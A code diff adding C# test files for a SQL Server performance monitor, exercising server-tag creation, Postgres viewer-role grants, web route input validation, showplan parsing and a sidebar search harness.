+    /// <summary>The five tool cores against a real <see cref="ServerTagStore"/> (the product path, no fake): the
+    /// depth and cycle refusals, then the delete that needs confirm because a tag-scoped rule points at the
+    /// subtree, then the confirmed delete that leaves the rule orphaned.</summary>
+    [Fact]
+    public async Task ServerTagToolCores_OverTheRealStore_RefuseDepthAndCycle_AndGateTheDeleteOnTheRules()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        static System.Text.Json.Nodes.JsonObject Parse(string json) => (System.Text.Json.Nodes.JsonObject)System.Text.Json.Nodes.JsonNode.Parse(json)!;
+
+        var ids = new System.Collections.Generic.List<int>();
+        int? parent = null;
+        foreach (var name in new[] { "Level1", "Level2", "Level3", "Level4" })
+        {
+            var made = Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, name, parent, null, ct));
+            Assert.Equal("created", (string?)made["status"]);
+            parent = (int)made["tag"]!["tag_id"]!;
+            ids.Add(parent.Value);
+        }
+
+        var tooDeep = Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, "Level5", ids[3], null, ct));
+        Assert.Equal("depth_limit", (string?)tooDeep["refusal"]);
+
+        var cycle = Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, ids[0], $"{{\"parent_id\":{ids[2]}}}", ct));
+        Assert.Equal("cycle", (string?)cycle["refusal"]);
+
+        await ExecAsync(source, "INSERT INTO custom_alert_rules (name, definition, enabled, version, created_at, updated_at, updated_by) VALUES "
+            + $"('tag-rule', '{{\"scope\":{{\"mode\":\"tag\",\"tagId\":{ids[2]}}}}}', true, 1, now(), now(), 'test')");
+
+        var needsConfirm = Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, ids[1], false, ct));
+        Assert.Equal("confirm_required", (string?)needsConfirm["status"]);
+        Assert.Equal("tag-rule", (string?)needsConfirm["affected_rules"]![0]!["name"]);
+        Assert.Equal(4, (await store.ReadTagsAsync(ct)).Count);
+
+        var deleted = Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, ids[1], true, ct));
+        Assert.Equal("deleted", (string?)deleted["status"]);
+        Assert.Equal("orphaned", (string?)deleted["affected_rules"]![0]!["effect"]);
+        Assert.Single(await store.ReadTagsAsync(ct));
+    }
+
+    [Fact]
+    public async Task AssignAndUnassign_ReturnExactlyTheChangedIds()
+    {
+        var opened = await OpenAsync();
+        var (scratch, source, store) = opened!.Value;
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+
+        var tag = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct)).Tag!;
+        Assert.Equal([1, 2], await store.AssignAsync(tag.Id, [1, 2], ct));
+        Assert.Equal([3], await store.AssignAsync(tag.Id, [2, 3], ct));
+        Assert.Equal([1, 3], await store.UnassignAsync(tag.Id, [1, 3, 4], ct));
+        Assert.True(await store.HasChildrenAsync(tag.Id, ct) == false);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagViewerRoleLiveTests.cs b/Darling/Darling.Tests/ServerTagViewerRoleLiveTests.cs
new file mode 100644
index 0000000000..93af6c82eb
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagViewerRoleLiveTests.cs
@@ -0,0 +1,182 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Security.Cryptography;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and a role with a per-run
+   name, and touches nothing on the shared one, so it is not serialized against the live-postgres collection. */
+
+/// <summary>The fleet-tag writes as a non-superuser holding exactly the grants the managed <c>viewer</c> role gets
+/// for them (#5085): the web dashboard's <c>/api/server-tags</c> routes run on the viewer-role pool, and every
+/// other live test connects as the owner, which can write anything, so a missing grant would pass them all and
+/// fail only in a real deployment with a 42501. The two grant lines are TAKEN FROM
+/// <see cref="DarlingManagedRoles.BuildProvisioningSql"/>'s output with the role name swapped, so removing one from
+/// the product's SQL makes this test fail.</summary>
+public sealed class ServerTagViewerRoleLiveTests
+{
+    private static readonly string RoleName = "tag_viewer_" + Guid.NewGuid().ToString("N")[..8];
+    private static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    [Fact]
+    public async Task TheViewerRoleGrants_LetServerTagStoreCreateAssignUpdateUnassignAndDelete()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer-role server-tag test (it mints its own scratch database and role).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var provisioning = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var tagGrants = provisioning
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("GRANT ", StringComparison.Ordinal)
+                && line.EndsWith(" TO " + "viewer" + ";", StringComparison.Ordinal)
+                && (line.Contains("config.server_tags ", StringComparison.Ordinal) || line.Contains("config.server_tag_map ", StringComparison.Ordinal)))
+            .ToList();
+        Assert.Equal(2, tagGrants.Count);
+        tagGrants = tagGrants
+            .Select(line => line[..^(" TO " + "viewer" + ";").Length] + " TO " + RoleName + ";")
+            .ToList();
+
+        await ExecAsync(owner, $"CREATE ROLE {RoleName} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        try
+        {
+            await ExecAsync(owner, $"GRANT USAGE ON SCHEMA config TO {RoleName}; GRANT SELECT ON ALL TABLES IN SCHEMA config TO {RoleName};", ct);
+            foreach (var grant in tagGrants)
+            {
+                await ExecAsync(owner, grant, ct);
+            }
+
+            var asViewer = new NpgsqlConnectionStringBuilder(ownerString) { Username = RoleName, Password = RolePassword }.ConnectionString;
+            await using var source = NpgsqlDataSource.Create(asViewer);
+            var store = new ServerTagStore(source, 30);
+
+            var created = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct));
+            var tagId = created.Tag!.Id;
+            Assert.Equal(new[] { 4, 5 }, await store.AssignAsync(tagId, new[] { 4, 5 }, ct));
+            var updated = Assert.IsType<ServerTagWriteResult.Ok>(
+                await store.UpdateAsync(tagId, new ServerTagEdit(true, "Production", false, null, false, null), ct));
+            Assert.Equal("Production", updated.Tag!.Name);
+            Assert.Equal(new[] { 4 }, await store.UnassignAsync(tagId, new[] { 4 }, ct));
+            var deleted = Assert.IsType<ServerTagWriteResult.Ok>(await store.DeleteAsync(tagId, true, ct));
+            Assert.Equal(1, deleted.RemovedAssignments);
+            Assert.Empty(await store.ReadTagsAsync(ct));
+        }
+        finally
+        {
+            await ExecAsync(owner, $"DROP OWNED BY {RoleName}; DROP ROLE IF EXISTS {RoleName};", ct);
+        }
+    }
+
+    /// <summary>L3 (#5137 review): the cores, not just the store, as a NOSUPERUSER role holding EXACTLY the viewer
+    /// role's provisioned grants. Every GRANT / REVOKE statement that names <c>viewer</c> is taken from
+    /// <see cref="DarlingManagedRoles.BuildProvisioningSql"/> in order (so the column-carved SELECT on
+    /// <c>config_monitored_servers</c> applies, not a blanket SELECT), then retargeted at the scratch role.
+    /// Seeded as owner: one monitored server and one custom alert rule scoped to the tag.</summary>
+    [Fact]
+    public async Task TheExactViewerGrants_LetTheWebCoresCreateAssignUpdateUnassignAndDeleteWithAScopedRule()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer-role server-tag test (it mints its own scratch database and role).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "tag_core_" + Guid.NewGuid().ToString("N")[..8];
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var viewerStatements = ViewerGrantReplay.StatementsFor(roleName, scratch.DatabaseName);
+
+        /* The viewer's table-wide config SELECT and its column carve must both be in what we replay. */
+        Assert.Contains(viewerStatements, x => x.Contains("SELECT ON ALL TABLES IN SCHEMA config", StringComparison.Ordinal));
+        Assert.Contains(viewerStatements, x => x.StartsWith("GRANT SELECT (", StringComparison.Ordinal) && x.Contains("config_monitored_servers", StringComparison.Ordinal));
+        Assert.Contains(viewerStatements, x => x.EndsWith("config.server_tags " + "TO " + roleName, StringComparison.Ordinal));
+        Assert.Contains(viewerStatements, x => x.EndsWith("config.server_tag_map " + "TO " + roleName, StringComparison.Ordinal));
+
+        await ExecAsync(owner, $"CREATE ROLE {roleName} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+        try
+        {
+            foreach (var statement in viewerStatements)
+            {
+                await ExecAsync(owner, statement, ct);
+            }
+
+            await using (var seed = await owner.OpenConnectionAsync(ct))
+            {
+                await DarlingMcpTestData.RegisterServerAsync(seed, 41, "core-viewer-a", ct);
+            }
+
+            var asViewer = new NpgsqlConnectionStringBuilder(ownerString) { Username = roleName, Password = RolePassword }.ConnectionString;
+            await using var source = NpgsqlDataSource.Create(asViewer);
+            var store = new ServerTagStore(source, 30);
+
+            var created = JsonNode.Parse(await DarlingMcpServerTagTools.CreateServerTagCore(store, "Prod", null, null, ct))!;
+            Assert.Equal("created", created["status"]!.GetValue<string>());
+            var tagId = created["tag"]!["tag_id"]!.GetValue<int>();
+
+            var assigned = JsonNode.Parse(await DarlingMcpServerTagTools.AssignServerTagCore(store, tagId, new[] { 41 }, ct))!;
+            Assert.Equal("assigned", assigned["status"]!.GetValue<string>());
+
+            var updated = JsonNode.Parse(await DarlingMcpServerTagTools.UpdateServerTagCore(store, tagId, "{\"name\":\"Production\"}", ct))!;
+            Assert.Equal("updated", updated["status"]!.GetValue<string>());
+
+            await using (var command = owner.CreateCommand("INSERT INTO custom_alert_rules (name, definition, enabled, version, created_at, updated_at, updated_by) VALUES "
+                + $"('tag-rule', '{{\"scope\":{{\"mode\":\"tag\",\"tagId\":{tagId}}}}}', true, 1, now(), now(), 'test')"))
+            {
+                await command.ExecuteNonQueryAsync(ct);
+            }
+
+            var unassigned = JsonNode.Parse(await DarlingMcpServerTagTools.UnassignServerTagCore(store, tagId, new[] { 41 }, ct))!;
+            Assert.Equal("unassigned", unassigned["status"]!.GetValue<string>());
+
+            var needsConfirm = JsonNode.Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, tagId, false, ct))!;
+            Assert.Equal("confirm_required", needsConfirm["status"]!.GetValue<string>());
+
+            var deleted = JsonNode.Parse(await DarlingMcpServerTagTools.DeleteServerTagCore(store, tagId, true, ct))!;
+            Assert.Equal("deleted", deleted["status"]!.GetValue<string>());
+        }
+        finally
+        {
+            await ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", ct);
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagWebRoutesLiveTests.cs b/Darling/Darling.Tests/ServerTagWebRoutesLiveTests.cs
new file mode 100644
index 0000000000..a5d2bdbf22
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagWebRoutesLiveTests.cs
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and touches nothing on the
+   shared one, so it is not serialized against the live-postgres collection. */
+
+/// <summary>The server-tag web routes through a real host over a scratch store (#5085).</summary>
+public sealed class ServerTagWebRoutesLiveTests
+{
+    private static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Source)> OpenAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live server-tag route tests (they mint their own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(connectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        return (scratch, NpgsqlDataSource.Create(connectionString));
+    }
+
+    private static async Task<WebApplication> StartAsync(NpgsqlDataSource source)
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        DarlingWebEndpoints.MapServerTags(app, source, NullLogger.Instance);
+        await app.StartAsync(TestContext.Current.CancellationToken);
+        return app;
+    }
+
+    private static StringContent Json(string body, string mediaType = "application/json") =>
+        new(body, Encoding.UTF8, mediaType);
+
+    private static async Task<(HttpStatusCode Status, JsonElement Body)> SendAsync(HttpClient client, HttpMethod method, string url, string? body, string mediaType = "application/json")
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(method, url) { Content = body is null ? Json("", mediaType) : Json(body, mediaType) };
+        using var response = await client.SendAsync(request, ct);
+        var text = await response.Content.ReadAsStringAsync(ct);
+        return (response.StatusCode, JsonDocument.Parse(text).RootElement.Clone());
+    }
+
+    [Fact]
+    public async Task TheRoutes_AnswerCreateUpdateAssignConflictConfirmAndDelete()
+    {
+        var (scratch, source) = await OpenAsync();
+        await using var _ = scratch;
+        await using var __ = source;
+        var ct = TestContext.Current.CancellationToken;
+        await using var app = await StartAsync(source);
+        using var client = app.GetTestClient();
+
+        var created = await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"Prod\"}");
+        Assert.Equal(HttpStatusCode.Created, created.Status);
+        var tagId = created.Body.GetProperty("tag").GetProperty("tag_id").GetInt32();
+
+        Assert.Equal(HttpStatusCode.Conflict, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"prod\"}")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"\"}")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"nope\":1}")).Status);
+        Assert.Equal(HttpStatusCode.UnsupportedMediaType, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"X\"}", "text/plain")).Status);
+
+        var updated = await SendAsync(client, new HttpMethod("PATCH"), $"/api/server-tags/{tagId}", "{\"name\":\"Production\"}");
+        Assert.Equal(HttpStatusCode.OK, updated.Status);
+        Assert.Equal(HttpStatusCode.NotFound, (await SendAsync(client, new HttpMethod("PATCH"), "/api/server-tags/9999", "{\"name\":\"Z\"}")).Status);
+
+        await using (var connection = await source.OpenConnectionAsync(ct))
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, 41, "route-test-a", ct);
+        }
+
+        var assigned = await SendAsync(client, HttpMethod.Post, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":[41]}");
+        Assert.Equal(HttpStatusCode.OK, assigned.Status);
+        Assert.Equal(HttpStatusCode.NotFound, (await SendAsync(client, HttpMethod.Post, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":[42]}")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":\"x\"}")).Status);
+
+        /* A rule scoped to the tag turns an unconfirmed delete into a 409 that carries the rule. */
+        await using (var command = source.CreateCommand("INSERT INTO custom_alert_rules (name, definition, enabled, version, created_at, updated_at, updated_by) VALUES "
+            + $"('tag-rule', '{{\"scope\":{{\"mode\":\"tag\",\"tagId\":{tagId}}}}}', true, 1, now(), now(), 'test')"))
+        {
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        var needsConfirm = await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}", null);
+        Assert.Equal(HttpStatusCode.Conflict, needsConfirm.Status);
+        Assert.Equal("confirm_required", needsConfirm.Body.GetProperty("status").GetString());
+        Assert.True(needsConfirm.Body.GetProperty("affected_rules").GetArrayLength() > 0);
+
+        var unassigned = await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":[41]}");
+        Assert.Equal(HttpStatusCode.OK, unassigned.Status);
+
+        var deleted = await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}?confirm=true", null);
+        Assert.Equal(HttpStatusCode.OK, deleted.Status);
+        Assert.Equal("deleted", deleted.Body.GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public async Task TheRoutes_AnswerMalformedBodiesAndEdgesWith4xxNeverA500()
+    {
+        var (scratch, source) = await OpenAsync();
+        await using var _ = scratch;
+        await using var __ = source;
+        await using var app = await StartAsync(source);
+        using var client = app.GetTestClient();
+        var patch = new HttpMethod("PATCH");
+
+        var created = await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"Prod\"}");
+        var tagId = created.Body.GetProperty("tag").GetProperty("tag_id").GetInt32();
+        Assert.Equal(HttpStatusCode.Created, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"Other\"}")).Status);
+
+        /* M1: a duplicate JSON key is the caller's malformed body. */
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", "{\"name\":\"a\",\"name\":\"b\"}")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, patch, $"/api/server-tags/{tagId}", "{\"name\":\"a\",\"name\":\"b\"}")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":[1],\"server_ids\":[2]}")).Status);
+
+        /* M2: a body past the 64 KB cap is refused, on every body-reading route. */
+        var pad = new string(' ', 70 * 1024);   // valid JSON either way, so only the cap can refuse it
+        var big = "{\"name\":\"Padded\"}" + pad;
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Post, "/api/server-tags", big)).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, patch, $"/api/server-tags/{tagId}", "{\"name\":\"Prod\"}" + pad)).Status);
+
+        /* L4: 415 on both DELETE routes, a non-"true" confirm, and a PATCH to a sibling's name. */
+        Assert.Equal(HttpStatusCode.UnsupportedMediaType, (await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}", null, "text/plain")).Status);
+        Assert.Equal(HttpStatusCode.UnsupportedMediaType, (await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}/servers", "{\"server_ids\":[1]}", "text/plain")).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}?confirm=1", null)).Status);
+        Assert.Equal(HttpStatusCode.BadRequest, (await SendAsync(client, HttpMethod.Delete, $"/api/server-tags/{tagId}?confirm=TRUE", null)).Status);
+        Assert.Equal(HttpStatusCode.Conflict, (await SendAsync(client, patch, $"/api/server-tags/{tagId}", "{\"name\":\"other\"}")).Status);
+    }
+}
diff --git a/Darling/Darling.Tests/SharedBaselineCacheTests.cs b/Darling/Darling.Tests/SharedBaselineCacheTests.cs
index 83f9999228..831eb6bf3e 100644
--- a/Darling/Darling.Tests/SharedBaselineCacheTests.cs
+++ b/Darling/Darling.Tests/SharedBaselineCacheTests.cs
@@ -145,7 +145,7 @@ public void TheService_HandsOneBaselineCacheToEveryHostsAnalysis()
         Assert.Contains("RegisterAnalysisService(builder.Services, postgres, planFetcher, _logger, _baselineCache, config.Analyzer, _registryState)", mcp, StringComparison.Ordinal);
 
         var web = Code("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs");
-        Assert.Contains("DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState);", web, StringComparison.Ordinal);
+        Assert.Contains("DarlingWebEndpoints.MapAll(app, postgres, _collectorState, _logger, _baselineCache, postgresConfig, _readLatency, analyzerConfig, _registryState, _slowReads);", web, StringComparison.Ordinal);
         var endpoints = Code("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
         Assert.Contains("new DarlingAnalysisService(postgres, logger: logger, baselineCache: baselineCache, analyzerConfig: analyzerConfig)", endpoints, StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/SharedBaselineModelPinTests.cs b/Darling/Darling.Tests/SharedBaselineModelPinTests.cs
index 48c8061c5a..2b02cc1e6b 100644
--- a/Darling/Darling.Tests/SharedBaselineModelPinTests.cs
+++ b/Darling/Darling.Tests/SharedBaselineModelPinTests.cs
@@ -25,6 +25,8 @@ namespace Darling.Tests;
 /// Dashboard keeps its OWN copy on purpose (<c>PerformanceMonitorDashboard.Analysis</c>) — this pin is
 /// Lite&lt;-&gt;Darling only. Lite.Tests carries the mirror-image pin for the Lite half.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class SharedBaselineModelPinTests
 {
     private const string SharedAssembly = "PerformanceMonitor.Analysis";
diff --git a/Darling/Darling.Tests/ShowPlanParserParameterizedTextTests.cs b/Darling/Darling.Tests/ShowPlanParserParameterizedTextTests.cs
new file mode 100644
index 0000000000..bf5a5ebba4
--- /dev/null
+++ b/Darling/Darling.Tests/ShowPlanParserParameterizedTextTests.cs
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using PerformanceMonitor.PlanAnalysis;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348 (side find): SQL Server records <c>ParameterizedText</c> as an ATTRIBUTE of the statement element. An ad hoc
+/// shell statement has no <c>QueryPlan</c>, so the parser's element-only read left the plan viewer's "Parameterized"
+/// row empty. The attribute is read with the other statement attributes; the element form stays as the fallback.
+/// The attribute fixture is a real capture (<c>Fixtures/StatementScrub/autoparam_select_adhoc_shell.xml</c>).
+/// </summary>
+public sealed class ShowPlanParserParameterizedTextTests
+{
+    private const string Ns = "http://schemas.microsoft.com/sqlserver/2004/07/showplan";
+
+    private static string Fixture(string name) =>
+        File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "StatementScrub", name));
+
+    private static PlanStatement OnlyStatement(string xml) =>
+        ShowPlanParser.Parse(xml).Batches.SelectMany(b => b.Statements).Single();
+
+    [Fact]
+    public void AdhocShellStatement_ReadsTheParameterizedTextAttribute()
+    {
+        var stmt = OnlyStatement(Fixture("autoparam_select_adhoc_shell.xml"));
+
+        Assert.Equal(
+            "(@1 nvarchar(4000),@2 nvarchar(4000))SELECT [id] FROM [tempdb].[dbo].[ssf_l2b] WHERE [username]=@1 AND [password]=@2",
+            stmt.ParameterizedText);
+    }
+
+    [Fact]
+    public void ElementFormParameterizedText_StillParses()
+    {
+        string xml = $"""
+            <ShowPlanXML xmlns="{Ns}" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements>
+            <StmtSimple StatementText="SELECT 1" StatementId="1" StatementType="SELECT"><QueryPlan CachedPlanSize="8" CompileTime="1" CompileCPU="1" CompileMemory="96"><ParameterizedText>(@1 int)SELECT @1</ParameterizedText></QueryPlan></StmtSimple>
+            </Statements></Batch></BatchSequence></ShowPlanXML>
+            """;
+
+        Assert.Equal("(@1 int)SELECT @1", OnlyStatement(xml).ParameterizedText);
+    }
+
+    [Fact]
+    public void AttributeWinsOverTheElementForm()
+    {
+        string xml = $"""
+            <ShowPlanXML xmlns="{Ns}" Version="1.539" Build="15.0.4410.1"><BatchSequence><Batch><Statements>
+            <StmtSimple StatementText="SELECT 1" StatementId="1" StatementType="SELECT" ParameterizedText="(@1 int)ATTR"><QueryPlan CachedPlanSize="8" CompileTime="1" CompileCPU="1" CompileMemory="96"><ParameterizedText>(@1 int)ELEMENT</ParameterizedText></QueryPlan></StmtSimple>
+            </Statements></Batch></BatchSequence></ShowPlanXML>
+            """;
+
+        Assert.Equal("(@1 int)ATTR", OnlyStatement(xml).ParameterizedText);
+    }
+}
diff --git a/Darling/Darling.Tests/SidebarSearchGroupTests.cs b/Darling/Darling.Tests/SidebarSearchGroupTests.cs
new file mode 100644
index 0000000000..d7cda4540b
--- /dev/null
+++ b/Darling/Darling.Tests/SidebarSearchGroupTests.cs
@@ -0,0 +1,249 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web sidebar's server search and tag grouping (#5243): the shipped <c>sidebar.js</c> and the grouping rules it
+/// shares with the Fleet page (<c>fleet-groups.js</c>), run under Node (<c>sidebar-harness.mjs</c>) against a fake DOM
+/// and a stubbed <c>localStorage</c>. Skipped when Node is not installed.
+/// </summary>
+public sealed class SidebarSearchGroupTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "sidebar-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the sidebar harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the sidebar harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.ValueKind == JsonValueKind.String ? e.GetString()! : e.ToString()).ToArray();
+
+    private static readonly string[] AllFive = { "Alpha", "Bravo", "Charlie", "Delta", "Echo" };
+
+    [Fact]
+    public void TheSearch_MatchesDisplayName_ServerName_AndTagName_IgnoringCaseAndEdgeSpaces()
+    {
+        if (!TryRun("filter", out var r)) return;
+
+        Assert.Equal(new[] { "Alpha" }, Strings(r.GetProperty("byDisplay")));
+        Assert.Equal(new[] { "Charlie" }, Strings(r.GetProperty("byServerName")));
+        Assert.Equal(new[] { "Bravo", "Echo" }, Strings(r.GetProperty("byTag")));
+        Assert.Equal(new[] { "Alpha", "Bravo" }, Strings(r.GetProperty("byTagCase")));
+        Assert.Equal(new[] { "Delta" }, Strings(r.GetProperty("padded")));
+        Assert.Equal(AllFive, Strings(r.GetProperty("empty")));
+        Assert.True(r.GetProperty("none").GetProperty("empty").GetBoolean());
+    }
+
+    [Fact]
+    public void TheGroupedList_IsFavourites_ThenTheTagTreeDepthFirst_ThenUntagged_AndAMultiTagServerAppearsUnderEach()
+    {
